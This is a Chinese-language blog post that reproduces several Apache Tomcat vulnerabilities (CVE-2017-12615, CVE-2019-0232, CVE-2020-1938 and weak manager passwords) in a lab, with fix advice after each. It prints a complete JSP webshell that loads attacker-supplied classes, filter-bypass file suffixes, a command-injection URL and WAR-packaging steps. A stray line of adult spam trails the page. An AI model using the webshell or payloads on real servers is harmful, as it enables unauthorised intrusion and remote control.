<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常見中間件:Tomcat漏洞復現分析

    VSole2022-06-07 15:27:24

    tomcat復現網上已經很多了,我就在這篇文章簡單的總結一下

    Tomcat 任意文件寫入(CVE-2017-12615)

    影響范圍: Tomcat 7.0.0-7.0.81(默認配置)

    測試環境:Apache Tomcat v8.5.39

    漏洞本質:Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件。如果配置了默認servlet,則在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系統上的潛在危險的CVE-2017-12615漏洞。

    docker打開環境https://github.com/vulhub/vulhub




    docker psdocker exec -ti 9eb90787a80f bashcat conf/web.xml | grep readonly
    



    可以看到Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false)

    抓個包,修改一下數據包改成put,寫入一個jsp文件

    可以看到成功寫入任意文




    既然可以寫入任意文件,那也可以寫入后門來getshell

    jsp木馬:



    <%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>
    



    如存在過濾,繞過方式:


    • 文件后綴加/  ( 應用系統中 /在文件名中是非法的,會被自動去除)

    • 文件后綴加::$DATA

    • 文件后綴加&20 (windows不允許空格結尾

    修復建議:將readonly=true,默認為true。



    Tomcat 遠程代碼執行(CVE-2019-0232)


    影響范圍:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

    測試環境:Apache Tomcat v8.5.39(apache V8.5.39)、windows

    漏洞本質:CVE-2019-0232漏洞是由于Tomcat CGI將命令行參數傳遞給Windows程序的方式存在錯誤,使得CHIServler被命令注入影響。

    該漏洞只影響Windows平臺,要求啟用了CGIServlet和enableCmdLineArguments參數。但是CGIServlet和enableCmdLineArguments參數默認情況下都不啟用。


    376行和419行取消注釋并添加參數






    debug0executable
    




    在content.xml 19行處添加privileged屬性為true



    在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄,并創建xxx.bat文件,名字內容任意。

    bin目錄下startup.bat 開啟tomcat服務

    訪問http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,執行net user 命令

    (net命令的路徑要寫全,直接寫net user,Tomcat控制臺會提示net不是內部命令,也不是可運行的程序,另 必須使用+號連接,使用空格,%2B都會執行失敗,控制臺報錯。)



    修復建議:這個默認是關閉的,如果打開了請關閉,若需使用請升級版本。



    Tomcat 文件包含漏洞(CVE-2020-1938)


    影響范圍:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30

    測試環境:Apache Tomcat v9.0.30

    漏洞本質:由于 Tomcat AJP 協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector 可以讀取或包含 Tomcat 上所有 webapp 目錄下的任意文件,例如可以讀取 webapp 配置文件或源代碼。

    此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。



    nmap掃到還有一個AJP端口8009正在監聽

    使用工具讀取 web.xml文件

    YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp協議文件讀取漏洞 (github.com)

    ?:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi



    (這里試了一下能不能通過文件包含實現RCE,但是只會讀文件不會執行命令不知道怎么回事)


    修復建議:將 Tomcat 升級到 9.0.31、8.5.51或 7.0.100 版本進行漏洞修復。如無法立即進行版本更新、或者是更老版本的用戶,建議直接關閉AJPConnector,或將其監聽地址改為僅監聽本機localhost。




    Tomcat + 弱口令 && 后臺getshell漏洞


    環境:Apache Tomcat/7.0.94

    在conf/tomcat-users.xml文件中配置用戶的權限和一個弱口令tomcat/tomcat:

    Tomcat 7+的權限有:

    1. manager(后臺管理)

    • manager-gui擁有html頁面權限

    • manager-status擁有查看status的權限

    • manager-script擁有text接口權限(包括status權限)

    • manager-jmx擁有jmx權限(包括status權限)

    2. host-manager(虛擬主機管理)

    • admin-gui擁有html頁面權限

    • admin-script擁有text接口權限



    "manager-gui"/>"manager-script"/>"manager-jmx"/>"manager-status"/>"admin-gui"/>"admin-script"/>"tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    



    正常安裝的情況下,tomcat7.0.94中默認沒有任何用戶,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。

    訪問

    http://127.0.0.1:8080/manager/html ,輸入弱口令tomcat/tomcat進入后臺(弱口令可以進行爆破)



    寫一個jsp的木馬(見上),然后打包成war包,上傳的war會被自動解壓部署

    jar -cvf shell.war shell.jsp



    war包是用來進行Web開發時一個網站項目下的所有代碼,包括前臺HTML/CSS/JS代碼,以及后臺JavaWeb的代碼。當開發人員開發完畢時,就會將源碼打包給測試人員測試,測試完后若要發布則也會打包成War包進行發布。War包可以放在Tomcat下的webapps或word目錄,當Tomcat服務器啟動時,War包即會隨之解壓源代碼來進行自動部署。
    



    可以看到已經上傳上去了,接著使用蟻劍連接后門127.0.0.1:8080/shell/shell.jsp



    上傳的位置在webapps里



    修復建議:取消manager/html功能。若要使用,manager頁面應只允許本地IP訪問

    漏洞apache
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    近日,安識科技A-Team團隊監測到一則 Apache 官方發布安全補丁的通告,共修復了2個安全漏洞,其中包含1個高危漏洞的信息。 對此,安識科技建議廣大用戶及時升級到安全版本,并做好資產自查以及預防工作,以免遭受黑客攻擊。
    2022年5月4日,Apache發布安全公告,修復了一個 Apache Jena中的XML外部實體注入漏洞漏洞編號:CVE-2022-28890,漏洞威脅等級:中危。
    2022年4月26日,Apache發布安全公告,修復了一個 Apache CouchDB中的遠程權限提升漏洞漏洞編號:CVE-2022-24706,漏洞威脅等級:高危,漏洞評分:7.5。
    2022年4月26日,Apache發布安全公告,修復了一個?Apache Doris中的硬編碼漏洞漏洞編號:CVE-2022-23942,漏洞威脅等級:中危。
    2022年4月20日,Apache發布安全公告,修復了一個 Apache APISIX中的信息泄露漏洞漏洞編號: CVE-2022-29266,漏洞威脅等級:嚴重。
    2022年4月20日,Apache發布安全公告,修復了一個 Apache APISIX中的信息泄露漏洞漏洞編號: CVE-2022-29266,漏洞威脅等級:嚴重。
    2022年4月12日,Apache發布安全公告,修復了一個Apache Struts2 中的遠程代碼執行漏洞漏洞編號:CVE-2021-31805,漏洞威脅等級:高危,漏洞評分:8.5。
    2022年1月21日,360漏洞云團隊監測到Apache發布安全公告,修復了一個Apache ShardingSphere ElasticJob-UI中的信息泄露漏洞漏洞編號:CVE-2022-22733,漏洞威脅等級:中危。
    2022年1月18日,360漏洞云團隊監測到Apache Knox發布安全公告,修復了一個Apache Knox中的XSS漏洞漏洞編號:CVE-2021-42357,漏洞威脅等級:中危。
    2022年1月4日,360漏洞云團隊在互聯網上監測到一則關于 Apache Geode 存在一個信息泄露漏洞的信息。漏洞編號:CVE-2021-34797,漏洞威脅等級:低危。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类